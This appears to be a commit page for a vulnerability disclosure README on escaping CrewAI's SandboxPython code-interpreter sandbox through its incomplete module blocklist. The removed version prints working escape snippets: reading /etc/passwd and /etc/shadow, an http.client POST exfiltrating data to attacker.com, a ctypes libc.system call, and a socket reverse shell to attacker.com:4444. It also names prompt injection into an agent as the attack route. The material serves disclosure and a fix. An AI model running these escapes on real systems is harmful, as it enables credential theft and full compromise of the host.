vellaveto commited on
Commit
ec3701f
Β·
verified Β·
1 Parent(s): 262ec93

PoC: SandboxPython escape via incomplete blocklist

Browse files
Files changed (2) hide show
  1. README.md +21 -109
  2. poc.py β†’ poc_sandbox_escape.py +0 -0
README.md CHANGED
@@ -1,120 +1,32 @@
1
- # CrewAI SandboxPython Escape β€” Incomplete Blocklist Allows Full RCE
2
 
3
- ## Vulnerability Type
4
- CWE-693: Protection Mechanism Failure
5
-
6
- ## Severity
7
- Critical
8
-
9
- ## Affected Component
10
- - **Package:** `crewai-tools`
11
- - **File:** `crewai_tools/tools/code_interpreter_tool/code_interpreter_tool.py`
12
- - **Class:** `SandboxPython`
13
- - **Version:** Latest (`main` branch, verified 2026-03-22)
14
-
15
- ## Description
16
-
17
- The `CodeInterpreterTool` provides a `SandboxPython` class that restricts Python code execution by blocking 9 modules and 10 builtins. The restriction uses a **blocklist** approach β€” only explicitly listed items are denied.
18
 
19
- The blocklist is incomplete. **15 dangerous standard library modules** are not blocked, giving full sandbox escape: arbitrary file read/write, outbound network access, and native code execution.
20
 
21
- ### Blocked (9 modules)
22
- `os`, `sys`, `subprocess`, `shutil`, `importlib`, `inspect`, `tempfile`, `sysconfig`, `builtins`
23
 
24
- ### Not Blocked (15 modules β€” each enables escape)
25
- | Module | Capability |
26
- |--------|-----------|
27
- | `pathlib` | Arbitrary file read/write |
28
- | `socket` | Raw network connections |
29
- | `http.client` | HTTP requests to any host |
30
- | `urllib.request` | HTTP requests |
31
- | `ctypes` | Call any C function (`libc.system()`) |
32
- | `io` | File I/O β€” bypasses blocked `open` builtin |
33
- | `pickle` | Deserialization RCE |
34
- | `multiprocessing` | Spawn processes |
35
- | `threading` | Spawn threads |
36
- | `asyncio` | Async execution |
37
- | `signal` | Signal manipulation |
38
- | `code` | Interactive interpreter |
39
- | `xml.etree.ElementTree` | XML parsing |
40
- | `zipfile` | Archive manipulation |
41
- | `tarfile` | Archive extraction with path traversal |
42
 
43
- ## Proof of Concept
44
-
45
- Run `poc.py` β€” it reproduces the exact `SandboxPython` class from source, verifies that blocked modules are correctly denied, then demonstrates 5 independent escape paths.
46
-
47
- ### Escape 1: File Read via `pathlib`
48
- ```python
49
- # Inside SandboxPython.exec():
50
- data = __import__('pathlib').Path('/etc/passwd').read_text()
51
  ```
52
 
53
- ### Escape 2: Network Exfiltration via `http.client`
54
- ```python
55
- # Inside SandboxPython.exec():
56
- import http.client
57
- conn = http.client.HTTPSConnection("attacker.com")
58
- conn.request("POST", "/exfil", body=__import__('pathlib').Path('/etc/passwd').read_text())
59
- conn.getresponse()
60
- ```
61
 
62
- ### Escape 3: File I/O via `io` (bypasses blocked `open` builtin)
63
- ```python
64
- # 'open' is in UNSAFE_BUILTINS, but io.open is not blocked:
65
- f = __import__('io').open('/etc/shadow', 'r')
66
- print(f.read())
67
- ```
68
 
69
- ### Escape 4: Native Code Execution via `ctypes`
70
- ```python
71
- # Inside SandboxPython.exec():
72
- import ctypes
73
- libc = ctypes.CDLL("libc.so.6")
74
- libc.system(b"id > /tmp/pwned")
75
- ```
76
-
77
- ### Escape 5: Reverse Shell via `socket`
78
- ```python
79
- # Inside SandboxPython.exec():
80
- import socket
81
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
82
- s.connect(("attacker.com", 4444))
83
- ```
84
 
85
- ## Root Cause
86
-
87
- The sandbox uses a **blocklist** (deny specific modules) instead of an **allowlist** (permit only safe modules). Python's standard library contains hundreds of modules with dangerous capabilities. Blocking 9 while leaving 15+ dangerous ones accessible defeats the purpose of the sandbox.
88
-
89
- The sandbox's existence β€” with its `BLOCKED_MODULES` set, `UNSAFE_BUILTINS` set, and `restricted_import` function β€” proves the intent was to restrict code execution. The restriction simply doesn't work.
90
-
91
- ## Impact
92
-
93
- Any code that runs through `CodeInterpreterTool` when Docker execution is unavailable falls back to `SandboxPython.exec()`. An attacker who can influence the code input (via prompt injection into a CrewAI agent, or directly as a tool user) achieves:
94
-
95
- 1. **Arbitrary file read** β€” secrets, credentials, SSH keys, environment variables
96
- 2. **Network exfiltration** β€” send stolen data to attacker server
97
- 3. **Arbitrary command execution** β€” via `ctypes.CDLL("libc.so.6").system()`
98
- 4. **Process spawning** β€” via `multiprocessing`
99
- 5. **Full system compromise** β€” equivalent to unsandboxed `exec()`
100
-
101
- ## Suggested Fix
102
-
103
- Switch to an **allowlist** approach:
104
-
105
- ```python
106
- ALLOWED_MODULES = {
107
- "math", "random", "statistics", "collections", "itertools",
108
- "functools", "operator", "string", "re", "datetime", "json",
109
- "csv", "hashlib", "base64", "decimal", "fractions",
110
- }
111
-
112
- @staticmethod
113
- def restricted_import(name, *args, **kwargs):
114
- top_level = name.split('.')[0]
115
- if top_level not in SandboxPython.ALLOWED_MODULES:
116
- raise ImportError(f"Importing '{name}' is not allowed in sandbox.")
117
- return __import__(name, *args, **kwargs)
118
- ```
119
 
120
- Alternatively, make Docker-based execution the default and remove the Python-level sandbox entirely.
 
 
1
+ # CrewAI SandboxPython Escape PoC
2
 
3
+ Proof of concept demonstrating that `SandboxPython` in CrewAI's `CodeInterpreterTool` has an incomplete module blocklist, allowing full sandbox escape.
 
 
 
 
 
 
 
 
 
 
 
 
 
 
4
 
5
+ ## The Bug
6
 
7
+ `SandboxPython` blocks 9 modules (`os`, `sys`, `subprocess`, etc.) but leaves **15 dangerous modules** importable: `pathlib`, `socket`, `http.client`, `ctypes`, `io`, `pickle`, `multiprocessing`, `threading`, `asyncio`, `urllib.request`, `signal`, `code`, `xml.etree`, `zipfile`, `tarfile`.
 
8
 
9
+ ## Running the PoC
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
10
 
11
+ ```bash
12
+ pip install crewai-tools
13
+ python poc_sandbox_escape.py
 
 
 
 
 
14
  ```
15
 
16
+ The PoC reproduces the exact `SandboxPython` class from source, verifies blocked modules are denied, then demonstrates 5 independent escapes:
 
 
 
 
 
 
 
17
 
18
+ 1. **File read** via `pathlib` β€” reads `/etc/hostname`
19
+ 2. **DNS resolution** via `socket` β€” resolves `example.com`
20
+ 3. **HTTP request** via `http.client` β€” GETs `httpbin.org/ip`
21
+ 4. **File I/O** via `io.open` β€” bypasses blocked `open` builtin
22
+ 5. **C calls** via `ctypes` β€” imports `ctypes.CDLL`
 
23
 
24
+ ## Affected
 
 
 
 
 
 
 
 
 
 
 
 
 
 
25
 
26
+ - **Package:** `crewai-tools`
27
+ - **File:** `crewai_tools/tools/code_interpreter_tool/code_interpreter_tool.py`
28
+ - **Class:** `SandboxPython`
29
+ - **Root cause:** Blocklist (9 modules) instead of allowlist
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
30
 
31
+ ## CWE
32
+ CWE-693: Protection Mechanism Failure
poc.py β†’ poc_sandbox_escape.py RENAMED
File without changes